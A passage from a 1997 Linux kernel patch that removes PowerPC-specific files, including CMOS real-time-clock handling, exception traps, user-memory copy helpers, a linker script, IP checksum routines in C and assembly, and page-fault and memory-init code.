CMOS_MCRTC_WRITE(tm.tm_sec, MCRTC_SECONDS); - CMOS_MCRTC_WRITE(tm.tm_min, MCRTC_MINUTES); - CMOS_MCRTC_WRITE(tm.tm_hour, MCRTC_HOURS); - CMOS_MCRTC_WRITE(tm.tm_month, MCRTC_MONTH); - CMOS_MCRTC_WRITE(tm.tm_day, MCRTC_MINUTES); - CMOS_MCRTC_WRITE(tm.tm_year - 1900, MCRTC_MINUTES); - - /* The following flags have to be released exactly in this order, - * otherwise the DS12887 (popular MC146818A clone with integrated - * battery and quartz) will not reset the oscillator and will not - * update precisely 500 ms later. You won't find this mentioned in - * the Dallas Semiconductor data sheets, but who believes data - * sheets anyway ... -- Markus Kuhn - */ - CMOS_MCRTC_WRITE(save_control, MCRTC_CONTROL); - CMOS_MCRTC_WRITE(save_freq_select, MCRTC_FREQ_SELECT); -} - -/* - * In order to set the CMOS clock precisely, set_rtc_mmss has to be - * called 500 ms after the second nowtime has started, because when - * nowtime is written into the registers of the CMOS clock, it will - * jump to the next second precisely 500 ms later. Check the Motorola - * MC146818A or Dallas DS12887 data sheet for details. - */ -static int set_rtc_mmss(unsigned long nowtime) -{ - int retval = 0; - int real_seconds, real_minutes, cmos_minutes; - unsigned char save_control, save_freq_select; - -#ifdef __powerpc__ -printk("%s: %d - set TOD\n", __FILE__, __LINE__); -return (-1); /* Not implemented */ -#else - -printk("%s: %d - set TOD\n", __FILE__, __LINE__); - save_control = CMOS_MCRTC_READ(MCRTC_CONTROL); /* tell the clock it's being set */ - CMOS_MCRTC_WRITE((save_control|MCRTC_SET), MCRTC_CONTROL); - - save_freq_select = CMOS_MCRTC_READ(MCRTC_FREQ_SELECT); /* stop and reset prescaler */ - CMOS_MCRTC_WRITE((save_freq_select|MCRTC_DIV_RESET2), MCRTC_FREQ_SELECT); - - cmos_minutes = CMOS_MCRTC_READ(MCRTC_MINUTES); - if (!(save_control & MCRTC_DM_BINARY) || MCRTC_ALWAYS_BCD) - BCD_TO_BIN(cmos_minutes); - - /* - * since we're only adjusting minutes and seconds, - * don't interfere with hour overflow. This avoids - * messing with unknown time zones but requires your - * RTC not to be off by more than 15 minutes - */ - real_seconds = nowtime % 60; - real_minutes = nowtime / 60; - if (((abs(real_minutes - cmos_minutes) + 15)/30) & 1) - real_minutes += 30; /* correct for half hour time zone */ - real_minutes %= 60; - - if (abs(real_minutes - cmos_minutes) < 30) { - if (!(save_control & MCRTC_DM_BINARY) || MCRTC_ALWAYS_BCD) { - BIN_TO_BCD(real_seconds); - BIN_TO_BCD(real_minutes); - } - CMOS_MCRTC_WRITE(real_seconds,MCRTC_SECONDS); - CMOS_MCRTC_WRITE(real_minutes,MCRTC_MINUTES); - } else - retval = -1; - - /* The following flags have to be released exactly in this order, - * otherwise the DS12887 (popular MC146818A clone with integrated - * battery and quartz) will not reset the oscillator and will not - * update precisely 500 ms later. You won't find this mentioned in - * the Dallas Semiconductor data sheets, but who believes data - * sheets anyway ... -- Markus Kuhn - */ - CMOS_MCRTC_WRITE(save_control, MCRTC_CONTROL); - CMOS_MCRTC_WRITE(save_freq_select, MCRTC_FREQ_SELECT); - - return retval; -#endif -} - -/* last time the cmos clock got updated */ -static long last_rtc_update = 0; - -/* - * timer_interrupt() needs to keep up the real-time clock, - * as well as call the "do_timer()" routine every clocktick - */ -static inline void timer_interrupt(int irq, void *dev, struct pt_regs * regs) -{ - static int timeints = 0; - - do_timer(regs); - - /* - * If we have an externally synchronized Linux clock, then update - * CMOS clock accordingly every ~11 minutes. Set_rtc_mmss() has to be - * called as close as possible to 500 ms before the new second starts. - */ - if (time_state != TIME_BAD && xtime.tv_sec > last_rtc_update + 660 && - xtime.tv_usec > 500000 - (tick >> 1) && - xtime.tv_usec < 500000 + (tick >> 1)) - if (set_rtc_mmss(xtime.tv_sec) == 0) - last_rtc_update = xtime.tv_sec; - else - last_rtc_update = xtime.tv_sec - 600; /* do it again in 60 s */ - - - /* use hard disk LED as a heartbeat instead -- much more useful - -- Cort */ - switch(timeints) - { - /* act like an actual heart beat -- ie thump-thump-pause... */ - case 0: - case 20: - hard_disk_LED(1); - break; - case 7: - case 27: - hard_disk_LED(0); - break; - case 100: - timeints = -1; - break; - } - timeints++; -} - -/* Converts Gregorian date to seconds since 1970-01-01 00:00:00. - * Assumes input in normal date format, i.e. 1980-12-31 23:59:59 - * => year=1980, mon=12, day=31, hour=23, min=59, sec=59. - * - * [For the Julian calendar (which was used in Russia before 1917, - * Britain & colonies before 1752, anywhere else before 1582, - * and is still in use by some communities) leave out the - * -year/100+year/400 terms, and add 10.] - * - * This algorithm was first published by Gauss (I think). - * - * WARNING: this function will overflow on 2106-02-07 06:28:16 on - * machines were long is 32-bit! (However, as time_t is signed, we - * will already get problems at other places on 2038-01-19 03:14:08) - */ -static inline unsigned long mktime(unsigned int year, unsigned int mon, - unsigned int day, unsigned int hour, - unsigned int min, unsigned int sec) -{ - if (0 >= (int) (mon -= 2)) { /* 1..12 -> 11,12,1..10 */ - mon += 12; /* Puts Feb last since it has leap day */ - year -= 1; - } - return ((( - (unsigned long)(year/4 - year/100 + year/400 + 367*mon/12 + day) + - year*365 - 719499 - )*24 + hour /* now have hours */ - )*60 + min /* now have minutes */ - )*60 + sec; /* finally seconds */ -} - -unsigned long get_cmos_time(void) -{ - unsigned int year, mon, day, hour, min, sec; - int i; - - if (_Processor == _PROC_IBM) - { - do { /* Isn't this overkill ? UIP above should guarantee consistency */ - sec = CMOS_MCRTC_READ(MCRTC_SECONDS); - min = CMOS_MCRTC_READ(MCRTC_MINUTES); - hour = CMOS_MCRTC_READ(MCRTC_HOURS); - day = CMOS_MCRTC_READ(MCRTC_DAY_OF_MONTH); - mon = CMOS_MCRTC_READ(MCRTC_MONTH); - year = CMOS_MCRTC_READ(MCRTC_YEAR); - } while (sec != CMOS_MCRTC_READ(MCRTC_SECONDS)); - BCD_TO_BIN(sec); - BCD_TO_BIN(min); - BCD_TO_BIN(hour); - BCD_TO_BIN(day); - BCD_TO_BIN(mon); - BCD_TO_BIN(year); - } else - if (_Processor == _PROC_Be) - { - do { /* Isn't this overkill ? UIP above should guarantee consistency */ - sec = CMOS_MCRTC_READ(MCRTC_SECONDS); - min = CMOS_MCRTC_READ(MCRTC_MINUTES); - hour = CMOS_MCRTC_READ(MCRTC_HOURS); - day = CMOS_MCRTC_READ(MCRTC_DAY_OF_MONTH); - mon = CMOS_MCRTC_READ(MCRTC_MONTH); - year = CMOS_MCRTC_READ(MCRTC_YEAR); - } while (sec != CMOS_MCRTC_READ(MCRTC_SECONDS)); - } else - { /* Motorola PowerStack etc. */ - do { /* Isn't this overkill ? UIP above should guarantee consistency */ - sec = CMOS_READ(RTC_SECONDS); - min = CMOS_READ(RTC_MINUTES); - hour = CMOS_READ(RTC_HOURS); - day = CMOS_READ(RTC_DAY_OF_MONTH); - mon = CMOS_READ(RTC_MONTH); - year = CMOS_READ(RTC_YEAR); - } while (sec != CMOS_READ(RTC_SECONDS)); - BCD_TO_BIN(sec); - BCD_TO_BIN(min); - BCD_TO_BIN(hour); - BCD_TO_BIN(day); - BCD_TO_BIN(mon); - BCD_TO_BIN(year); - } -#if 0 -printk("CMOS TOD - M/D/Y H:M:S = %d/%d/%d %d:%02d:%02d\n", mon, day, year, hour, min, sec); -#endif - if ((year += 1900) < 1970) - year += 100; - return mktime(year, mon, day, hour, min, sec); -} - -void time_init(void) -{ - void (*irq_handler)(int, struct pt_regs *); - xtime.tv_sec = get_cmos_time(); - xtime.tv_usec = 0; - - /* If we have the CPU hardware time counters, use them */ - irq_handler = timer_interrupt; - if (request_irq(TIMER_IRQ, irq_handler, 0, "timer", NULL) != 0) - panic("Could not allocate timer IRQ!"); -} - diff -u --recursive --new-file linux-2.1.29/arch/ppc/kernel/traps.c linux/arch/ppc/kernel/traps.c --- linux-2.1.29/arch/ppc/kernel/traps.c Sat May 10 18:16:36 1997 +++ linux/arch/ppc/kernel/traps.c Wed Dec 31 19:00:00 1969 @@ -1,161 +0,0 @@ -/* - * linux/arch/ppc/kernel/traps.c - * - * Copyright (C) 1995 Gary Thomas - * Adapted for PowerPC by Gary Thomas - * Modified by Cort Dougan (cort@cs.nmt.edu) - */ - -/* - * This file handles the architecture-dependent parts of hardware exceptions - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include - -#include - -/* - * Trap & Exception support - */ - -void -trap_init(void) -{ -} - -void -_exception(int signr, struct pt_regs *regs) -{ - /* dump_regs(regs);*/ - force_sig(signr, current); - if (!user_mode(regs)) - { - printk("Failure in kernel at PC: %x, MSR: %x\n", regs->nip, regs->msr); - while (1) ; - } -} - -MachineCheckException(struct pt_regs *regs) -{ - printk("Machine check at PC: %x[%x], SR: %x\n", regs->nip, va_to_phys(regs->nip), regs->msr); - _exception(SIGSEGV, regs); -} - -ProgramCheckException(struct pt_regs *regs) -{ -#if 0 - printk("Program check at PC: %x[%x], SR: %x\n", - regs->nip, va_to_phys(regs->nip), regs->msr); - #endif - if (current->flags & PF_PTRACED) - { - _exception(SIGTRAP, regs); - } else - { - _exception(SIGILL, regs); - } -} - -SingleStepException(struct pt_regs *regs) -{ - regs->msr &= ~MSR_SE; /* Turn off 'trace' bit */ - _exception(SIGTRAP, regs); -} - -FloatingPointCheckException(struct pt_regs *regs) -{ - /* if fpu already on -- then exception was generated by an error */ - if ( (unsigned long)(regs->msr) & (unsigned long)MSR_FP ) - { - _exception(SIGFPE, regs); - return 0; - } - -#if 0 - printk("fpu off -- turning on: %s pc %x fpscr %x msr %x ksp %x r1 %x\n", - current->comm,regs->nip,regs->fpcsr,regs->msr,regs,regs->gpr[1]); -#endif - - /* if the fpu is off then turn it on and return */ - regs->msr |= MSR_FP; - current->tss.fp_used++; - /* tells return_from_int to restore fp regs since fp was turned on - see head.S -- Cort */ - return MSR_FP; -} - -AlignmentException(struct pt_regs *regs) -{ -/* printk("Alignment error at PC: %x, SR: %x\n", regs->nip, regs->msr); - dump_regs(regs); - printk("Alignment error at PC: %x[%x], SR: %x\n", regs->nip, va_to_phys(regs->nip), regs->msr);*/ - _exception(SIGBUS, regs); -} - - -/* see CHECK_STACK macro in head.S for argument definitions */ -bad_stack(unsigned int r3, unsigned int r4, unsigned int r5, unsigned int r6) -{ - /* r6 (was r1) kernel stack pointer */ - /* r5 (was r2) kernel stack page */ - /* r4 kernel stack magic */ - /* r3 stack magic or ksp masked to page boundary */ - printk("bad_stack(): Kernel stack bad.\n"); - printk("ksp %x kpage %x stack magic %x r3 %x\n", - r6,r5,r4,r3); - printk("current: %s/%d\n", - current->comm,current->pid); - while(1); -} - -dump_regs(struct pt_regs *regs) -{ - int i; - printk("NIP: %08X, MSR: %08X, XER: %08X, LR: %08X, FRAME: %08X\n", regs->nip, regs->msr, regs->xer, regs->link, regs); -#if 0 - printk("HASH = %08X/%08X, MISS = %08X/%08X, CMP = %08X/%08X\n", regs->hash1, regs->hash2, regs->imiss, regs->dmiss, regs->icmp, regs->dcmp); -#endif - printk("TASK = %x[%d] '%s'\n", current, current->pid, current->comm); - for (i = 0; i < 32; i++) - { - if ((i % 8) == 0) - { - printk("GPR%02d: ", i); - } - printk("%08X ", regs->gpr[i]); - if ((i % 8) == 7) - { - printk("\n"); - } - } -#if 0 - if (regs->nip >= 0x1000) - dump_buf(regs->nip-32, 64); - dump_buf((regs->nip&0x0FFFFFFF)|KERNELBASE, 32); -#endif -} - -trace_syscall(struct pt_regs *regs) -{ - static int count; - printk("Task: %08X(%d), PC: %08X/%08X, Syscall: %3d, Result: %s%d\n", current, current->pid, regs->nip, regs->link, regs->gpr[0], regs->ccr&0x10000000?"Error=":"", regs->gpr[3]); - if (++count == 20) - { - count = 0; - } -} - diff -u --recursive --new-file linux-2.1.29/arch/ppc/kernel/usercpy.c linux/arch/ppc/kernel/usercpy.c --- linux-2.1.29/arch/ppc/kernel/usercpy.c Sat May 10 18:16:36 1997 +++ linux/arch/ppc/kernel/usercpy.c Wed Dec 31 19:00:00 1969 @@ -1,116 +0,0 @@ -#include -#include -#include -#include - -/* - * bad data accesses from these functions should be handled specially - * since they are to user areas and may or may not be valid. - * on error -EFAULT should be returned. -- Cort - */ -int __copy_tofrom_user_failure(void) -{ - current->tss.excount = 0; - return -EFAULT; -} - -int __copy_tofrom_user(unsigned long to, unsigned long from, int size) -{ - /* setup exception handling stuff */ - current->tss.excount++; - current->tss.expc = (unsigned long )__copy_tofrom_user_failure; - - if (memcpy( (void *)to, (void *)from, (size_t) size) == -EFAULT ) - { - /* take down exception handler stuff */ - current->tss.excount = 0; - return -EFAULT; - } - current->tss.excount = 0; - return 0; /* successful return */ -} - -/* Just like strncpy except in the return value: - * - * -EFAULT if an exception occurs before the terminator is copied. - * N if the buffer filled. - * - * Otherwise the length of the string is returned. - */ -asmlinkage int __strncpy_from_user_failure(void) -{ - current->tss.excount = 0; - return -EFAULT; -} - -int __strncpy_from_user(unsigned long dest, unsigned long src, int count) -{ - int i = 0; - /* setup exception handling stuff */ - current->tss.excount++; - current->tss.expc = (unsigned long )__strncpy_from_user_failure; - - while ( i != count ) - { - *(char *)(dest+i) = *(char *)(src+i); - if ( *(char *)(src+i) == 0 ) - { - return i; - } - i++; - } - *(char *)(dest+i) = (char)0; - /* take down exception handler stuff */ - current->tss.excount = 0; - return i; -} - -int __clear_user_failure(void) -{ - current->tss.excount = 0; - return -EFAULT; -} -int __clear_user(unsigned long addr, int size) -{ - /* setup exception handling stuff */ - current->tss.excount++; - current->tss.expc = (unsigned long )__clear_user_failure; - - if ((int)memset((void *)addr,(int)0, (__kernel_size_t)size) == -EFAULT ) - { - /* take down exception handler stuff */ - current->tss.excount = 0; - return -EFAULT; - } - /* take down exception handler stuff */ - current->tss.excount = 0; - return size; -} - -/* - * Return the length of the string including the NUL terminator - * (strlen+1) or zero if an error occured. - */ -size_t strlen_user_failure(void) -{ - current->tss.excount = 0; - return -EFAULT; -} -size_t strlen_user(char * s) -{ - size_t i; - /* setup exception handling stuff */ - current->tss.excount++; - current->tss.expc = (unsigned long )strlen_user_failure; - - i = strlen(s)+1; - - if ( i == -EFAULT) - return -EFAULT; - - /* take down exception handler stuff */ - current->tss.excount = 0; - - return(i); -} - diff -u --recursive --new-file linux-2.1.29/arch/ppc/ld.script linux/arch/ppc/ld.script --- linux-2.1.29/arch/ppc/ld.script Mon May 27 05:00:58 1996 +++ linux/arch/ppc/ld.script Wed Dec 31 19:00:00 1969 @@ -1,75 +0,0 @@ -OUTPUT_ARCH(powerpc) -SEARCH_DIR(/lib); SEARCH_DIR(/usr/lib); SEARCH_DIR(/usr/local/lib); SEARCH_DIR(/usr/local/powerpc-any-elf/lib); -/* Do we need any of these for elf? - __DYNAMIC = 0; */ -SECTIONS -{ - /* Read-only sections, merged into text segment: */ - . = + SIZEOF_HEADERS; - .interp : { *(.interp) } - .hash : { *(.hash) } - .dynsym : { *(.dynsym) } - .dynstr : { *(.dynstr) } - .rel.text : { *(.rel.text) } - .rela.text : { *(.rela.text) } - .rel.data : { *(.rel.data) } - .rela.data : { *(.rela.data) } - .rel.rodata : { *(.rel.rodata) } - .rela.rodata : { *(.rela.rodata) } - .rel.got : { *(.rel.got) } - .rela.got : { *(.rela.got) } - .rel.ctors : { *(.rel.ctors) } - .rela.ctors : { *(.rela.ctors) } - .rel.dtors : { *(.rel.dtors) } - .rela.dtors : { *(.rela.dtors) } - .rel.bss : { *(.rel.bss) } - .rela.bss : { *(.rela.bss) } - .rel.plt : { *(.rel.plt) } - .rela.plt : { *(.rela.plt) } - .init : { *(.init) } =0 - .plt : { *(.plt) } - .text : - { - *(.text) - *(.rodata) - *(.rodata1) - *(.got1) - } - _etext = .; - PROVIDE (etext = .); - .fini : { *(.fini) } =0 - .ctors : { *(.ctors) } - .dtors : { *(.dtors) } - /* Read-write section, merged into data segment: */ - . = (. + 0x0FFF) & 0xFFFFF000; - .data : - { - *(.data) - CONSTRUCTORS - } - .data1 : { *(.data1) } - .got : { *(.got.plt) *(.got) } - .dynamic : { *(.dynamic) } - /* We want the small data sections together, so single-instruction offsets - can access them all, and initialized data all before uninitialized, so - we can shorten the on-disk segment size. */ - .sdata : { *(.sdata) } - _edata = .; - PROVIDE (edata = .); - __bss_start = .; - .sbss : { *(.sbss) *(.scommon) } - .bss : - { - *(.dynbss) - *(.bss) - *(COMMON) - } - _end = . ; - PROVIDE (end = .); - /* These are needed for ELF backends which have not yet been - converted to the new style linker. */ - .stab 0 : { *(.stab) } - .stabstr 0 : { *(.stabstr) } - /* These must appear regardless of . */ -} - diff -u --recursive --new-file linux-2.1.29/arch/ppc/lib/Makefile linux/arch/ppc/lib/Makefile --- linux-2.1.29/arch/ppc/lib/Makefile Sat May 10 18:16:36 1997 +++ linux/arch/ppc/lib/Makefile Wed Dec 31 19:00:00 1969 @@ -1,12 +0,0 @@ -# -# Makefile for i386-specific library files.. -# - -L_TARGET = lib.o -L_OBJS = checksum.o cksum_support.o -CC = gcc -I$(TOPDIR)/include - -${L_TARGET}: $(L_OBJS) - $(LD) -r -o ${L_TARGET} $(L_OBJS) - -fastdep: diff -u --recursive --new-file linux-2.1.29/arch/ppc/lib/checksum.c linux/arch/ppc/lib/checksum.c --- linux-2.1.29/arch/ppc/lib/checksum.c Sat May 10 18:16:36 1997 +++ linux/arch/ppc/lib/checksum.c Wed Dec 31 19:00:00 1969 @@ -1,136 +0,0 @@ -/* - * INET An implementation of the TCP/IP protocol suite for the LINUX - * operating system. INET is implemented using the BSD Socket - * interface as the means of communication with the user level. - * - * IP/TCP/UDP checksumming routines - * - * Authors: Jorge Cwik, - * Arnt Gulbrandsen, - * Tom May, - * Lots of code moved from tcp.c and ip.c; see those files - * for more names. - * - * Adapted for PowerPC by Gary Thomas - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License - * as published by the Free Software Foundation; either version - * 2 of the License, or (at your option) any later version. - */ - -#include - -/* - * computes the checksum of a memory block at buff, length len, - * and adds in "sum" (32-bit) - * - * returns a 32-bit number suitable for feeding into itself - * or csum_tcpudp_magic - * - * this function must be called with even lengths, except - * for the last fragment, which may be odd - * - * it's best to have buff aligned on a 32-bit boundary - */ -unsigned int csum_partial(const unsigned char * buff, int len, unsigned int sum) -{ - unsigned long result = ~_csum_partial(buff, len, sum); -#if 0 -printk("Csum partial(%x, %d, %x) = %x\n", buff, len, sum, result); -dump_buf(buff, len); -#endif - return result; -} - -/* - * the same as csum_partial, but copies from src while it - * checksums - * - * here even more important to align src and dst on a 32-bit boundary - */ - -unsigned int csum_partial_copy(const char *src, char *dst, int len, int sum) -{ - /* - * The whole idea is to do the copy and the checksum at - * the same time, but we do it the easy way now. - * - * At least csum on the source, not destination, for cache - * reasons.. - */ - sum = csum_partial(src, len, sum); - memcpy(dst, src, len); - return sum; -} - -extern unsigned short _ip_fast_csum(unsigned char *buf); - -unsigned short -ip_fast_csum(unsigned char *buf, unsigned int len) -{ - unsigned short _val; - _val = _ip_fast_csum(buf); -#if 0 - printk("IP CKSUM(%x, %d) = %x\n", buf, len, _val); - dump_buf(buf, len*4); -#endif - return (_val); -} - -extern unsigned short _ip_compute_csum(unsigned char *buf, int len); - -unsigned short -ip_compute_csum(unsigned char *buf, int len) -{ - unsigned short _val; - _val = _ip_compute_csum(buf, len); -#if 0 - printk("Compute IP CKSUM(%x, %d) = %x\n", buf, len, _val); - dump_buf(buf, len); -#endif - return (_val); -} - -unsigned short -_udp_check(unsigned char *buf, int len, int saddr, int daddr, int hdr); - -unsigned short -udp_check(unsigned char *buf, int len, int saddr, int daddr) -{ - unsigned short _val; - int hdr; - hdr = (len << 16) + IPPROTO_UDP; - _val = _udp_check(buf, len, saddr, daddr, hdr); -#if 0 - printk("UDP CSUM(%x,%d,%x,%x) = %x\n", buf, len, saddr, daddr, _val); - dump_buf(buf, len); -#endif - return (_val); -} - -unsigned short -_tcp_check(unsigned char *buf, int len, int saddr, int daddr, int hdr); - -unsigned short -csum_tcpudp_magic(unsigned long saddr, unsigned long daddr, unsigned short len, unsigned short proto, unsigned int sum) -{ - unsigned short _val; - _val = _csum_tcpudp_magic(saddr, daddr, sum, (len<<16)+proto); -#if 0 - printk("TCP Magic(%x, %x, %x, %x) = %x\n", saddr, daddr, (len<<16)+proto, sum, _val); -#endif - return (_val); -} - -/* - * Fold a partial checksum without adding pseudo headers - */ - -unsigned int csum_fold(unsigned int sum) -{ - sum = (sum & 0xffff) + (sum >> 16); - sum = (sum & 0xffff) + (sum >> 16); - return ~sum; -} - diff -u --recursive --new-file linux-2.1.29/arch/ppc/lib/cksum_support.S linux/arch/ppc/lib/cksum_support.S --- linux-2.1.29/arch/ppc/lib/cksum_support.S Mon May 27 05:00:58 1996 +++ linux/arch/ppc/lib/cksum_support.S Wed Dec 31 19:00:00 1969 @@ -1,125 +0,0 @@ -/* - * This module contains the PowerPC interrupt fielders - * set of code at specific locations, based on function - */ - -#include -#include "../kernel/ppc_asm.tmpl" - -_TEXT() - -/* - * Compute IP checksums - * _ip_fast_csum(buf, len) -- Optimized for IP header - * _ip_compute_csum(buf, len) - */ - -_GLOBAL(_ip_fast_csum) - li r0,0 - addic r0,r0,0 /* Clear initial carry */ - lwz r4,0(r3) - lwz r5,4(r3) - adde r0,r0,r4 - lwz r4,8(r3) - adde r0,r0,r5 - lwz r5,12(r3) - adde r0,r0,r4 - lwz r4,16(r3) - adde r0,r0,r5 - adde r0,r0,r4 - mr r3,r0 - andi. r3,r3,0xFFFF - srwi r0,r0,16 - adde r3,r3,r0 - andis. r0,r3,1 - beq 10f - addi r3,r3,1 -10: not r3,r3 - andi. r3,r3,0xFFFF - blr - -_GLOBAL(_ip_compute_csum) - li r0,0 - addic r0,r0,0 -finish_ip_csum: - subi r3,r3,4 - andi. r5,r3,2 /* Align buffer to longword boundary */ - beq 10f - lhz r5,4(r3) - adde r0,r0,r5 - addi r3,r3,2 - subi r4,r4,2 -10: cmpi 0,r4,16 /* unrolled loop - 16 bytes at a time */ - blt 20f - lwz r5,4(r3) - lwz r6,8(r3) - adde r0,r0,r5 - lwz r5,12(r3) - adde r0,r0,r6 - lwzu r6,16(r3) - adde r0,r0,r5 - adde r0,r0,r6 - subi r4,r4,16 - b 10b -20: cmpi 0,r4,4 - blt 30f - lwzu r5,4(r3) - adde r0,r0,r5 - subi r4,r4,4 - b 20b -30: cmpi 0,r4,2 - blt 40f - lhz r5,4(r3) - addi r3,r3,2 - adde r0,r0,r5 - subi r4,r4,2 -40: cmpi 0,r4,1 - bne 50f - lbz r5,4(r3) - slwi r5,r5,8 /* Upper byte of word */ - adde r0,r0,r5 -50: mr r3,r0 - andi. r3,r3,0xFFFF - srwi r0,r0,16 - adde r3,r3,r0 - andis. r0,r3,1 - beq 60f - addi r3,r3,1 -60: not r3,r3 - andi. r3,r3,0xFFFF - blr - -_GLOBAL(_udp_check) - addc r0,r5,r6 /* Add in header fields */ - adde r0,r0,r7 - b finish_ip_csum - -_GLOBAL(_tcp_check) - addc r0,r5,r6 /* Add in header fields */ - adde r0,r0,r7 - b finish_ip_csum - -_GLOBAL(_csum_partial) - li r0,0 - addc r0,r5,r0 - b finish_ip_csum - -/* - * Compute 16 bit sum: - * _csum_tcpudp_magic(int saddr, int daddr, int sum, int proto) - */ -_GLOBAL(_csum_tcpudp_magic) - addc r0,r3,r4 - adde r0,r0,r5 - adde r0,r0,r6 - mr r3,r0 - andi. r3,r3,0xFFFF - srwi r0,r0,16 - adde r3,r3,r0 - andis. r0,r3,1 /* Carry out of 16 bits? */ - beq 10f - addi r3,r3,1 -10: not r3,r3 - andi. r3,r3,0xFFFF - blr - diff -u --recursive --new-file linux-2.1.29/arch/ppc/mm/Makefile linux/arch/ppc/mm/Makefile --- linux-2.1.29/arch/ppc/mm/Makefile Mon May 27 05:00:59 1996 +++ linux/arch/ppc/mm/Makefile Wed Dec 31 19:00:00 1969 @@ -1,34 +0,0 @@ -# -# Makefile for the linux ppc-specific parts of the memory manager. -# -# Note! Dependencies are done automagically by 'make dep', which also -# removes any old dependencies. DON'T put your own dependencies here -# unless it's something special (ie not a .c file). -# -# Note 2! The CFLAGS definition is now in the main makefile... - -.c.o: - $(CC) $(CFLAGS) -c $< -.s.o: - $(AS) -o $*.o $< -.c.s: - $(CC) $(CFLAGS) -S $< - -OBJS = fault.o init.o - -mm.o: $(OBJS) - $(LD) -r -o mm.o $(OBJS) - -modules: - -dep: - $(CPP) -M *.c > .depend - -fastdep: - -# -# include a dependency file if one exists -# -ifeq (.depend,$(wildcard .depend)) -include .depend -endif diff -u --recursive --new-file linux-2.1.29/arch/ppc/mm/fault.c linux/arch/ppc/mm/fault.c --- linux-2.1.29/arch/ppc/mm/fault.c Sat May 10 18:16:36 1997 +++ linux/arch/ppc/mm/fault.c Wed Dec 31 19:00:00 1969 @@ -1,172 +0,0 @@ -/* - * ARCH/ppc/mm/fault.c - * - * Copyright (C) 1991, 1992, 1993, 1994 Linus Torvalds - * Ported to PPC by Gary Thomas - * Modified by Cort Dougan (cort@cs.nmt.edu) - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include - -extern void die_if_kernel(char *, struct pt_regs *, long); -extern void do_page_fault(struct pt_regs *, unsigned long, unsigned long); -void new_page_fault(unsigned long address, unsigned long code, unsigned long text, - struct pt_regs *regs); - - -#undef SHOW_FAULTS -#undef NOISY_INSTRFAULT -#undef NOISY_DATAFAULT - -unsigned int probingmem = 0; -#define NEWMM 1 - -void new_page_fault(unsigned long address, unsigned long ppc_code, - unsigned long text, struct pt_regs *regs) -{ - struct vm_area_struct * vma; - struct mm_struct *mm = current->mm; - - int intel_code = 0; - pgd_t *dir; - pmd_t *pmd; - pte_t *pte; - - /* - * bit 0 == 0 means no page found, 1 means protection fault - * bit 1 == 0 means read, 1 means write - * bit 2 == 0 means kernel, 1 means user-mode - */ - if (user_mode(regs)) intel_code |= 0x04; - if (!text && (ppc_code & 0x02000000)) intel_code |= 0x02; /* Load/store */ - if (!text && (ppc_code & 0x08000000)) - { - intel_code |= 0x01; /* prot viol */ - goto do_page; - } - - dir = pgd_offset(mm, address & PAGE_MASK); - if (dir) - { - pmd = pmd_offset(dir, address & PAGE_MASK); - if (pmd && pmd_present(*pmd)) - { - pte = pte_offset(pmd, address & PAGE_MASK); - if (pte && pte_present(*pte)) - { - MMU_hash_page(¤t->tss, address & PAGE_MASK, pte); - return; - } - } - } - -do_page: - down(&mm->mmap_sem); - vma = find_vma(current->mm, address); - if (!vma) - goto bad_area; - if (vma->vm_start <= address) - goto good_area; - if (!(vma->vm_flags & VM_GROWSDOWN)) - goto bad_area; - if (expand_stack(vma, address)) - goto bad_area; - -good_area: - /* a write */ - if (intel_code & 2) { - if (!(vma->vm_flags & VM_WRITE)) - { - goto bad_area; - } - /* a read */ - } else { - /* protection fault */ - if (intel_code & 1) - { - printk("prot fault\n"); - goto bad_area; - } - if (!(vma->vm_flags & (VM_READ | VM_EXEC))) - { - printk("no read or exec\n"); - goto bad_area; - } - } - handle_mm_fault(vma, address, intel_code & 2); - up(&mm->mmap_sem); flush_page(address); /* Flush & Invalidate cache - note: address is OK now */ - return; - -bad_area: - up(&mm->mmap_sem); - - /* Did we have an exception handler installed? */ - if(current->tss.excount != 0) { - if(user_mode(regs)) { - printk("Exception signalled from user mode!\n"); - } else { -#if 0 - printk("Exception from kernel mode. pc %x expc %x count %d\n", - regs->nip,current->tss.expc,current->tss.excount); -#endif - current->tss.excount = 0; - regs->gpr[3] = -EFAULT; - regs->nip = current->tss.expc; - return; - } - } - - if (user_mode(regs)) - { - force_sig(SIGSEGV, current); - return; - } - panic("KERNEL access of bad area PC %x address %x vm_flags %x\n", - regs->nip,address,vma->vm_flags); -} - -va_to_phys(unsigned long address) -{ - pgd_t *dir; - pmd_t *pmd; - pte_t *pte; - dir = pgd_offset(current->mm, address & PAGE_MASK); - if (dir) - { - pmd = pmd_offset(dir, address & PAGE_MASK); - if (pmd && pmd_present(*pmd)) - { - pte = pte_offset(pmd, address & PAGE_MASK); - if (pte && pte_present(*pte)) - { - return(pte_page(*pte) | (address & ~(PAGE_MASK-1))); - } - } else - { - return (0); - } - } else - { - return (0); - } - return (0); -} - -inline void -update_mmu_cache(struct vm_area_struct * vma, unsigned long address, pte_t _pte) -{ - MMU_hash_page(¤t->tss, address & PAGE_MASK, (pte *)&_pte); -} diff -u --recursive --new-file linux-2.1.29/arch/ppc/mm/init.c linux/arch/ppc/mm/init.c --- linux-2.1.29/arch/ppc/mm/init.c Sat May 10 18:17:09 1997 +++ linux/arch/ppc/mm/init.c Wed Dec 31 19:00:00 1969 @@ -1,719 +0,0 @@ -/* - * arch/ppc/mm/init.c - * - * Copyright (C) 1991, 1992, 1993, 1994 Linus Torvalds - * Ported to PPC by Gary Thomas - * Modified by Cort Dougan (cort@cs.nmt.edu) - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -extern pgd_t swapper_pg_dir[1024]; -extern unsigned long empty_zero_page[1024]; - -extern void die_if_kernel(char *,struct pt_regs *,long); -extern void show_net_buffers(void); -void flush_hash_table(void); - -#undef HASHSTATS - -unsigned long _SDR1; /* Hardware SDR1 image */ -PTE *Hash; -int Hash_size, Hash_mask; -unsigned long *end_of_DRAM; -int cache_is_copyback = 1; -int kernel_pages_are_copyback = 1; -/* Note: these need to be in 'data' so they live over the boot */ -unsigned char *BeBox_IO_page = 0; -unsigned long isBeBox[2] = {0, 0}; - -#ifdef HASHSTATS -extern unsigned long *hashhits; -#endif - - - -pte_t * __bad_pagetable(void) -{ - panic("__bad_pagetable"); -} - -pte_t __bad_page(void) -{ - panic("__bad_page"); -} - -void show_mem(void) -{ - unsigned long i,free = 0,total = 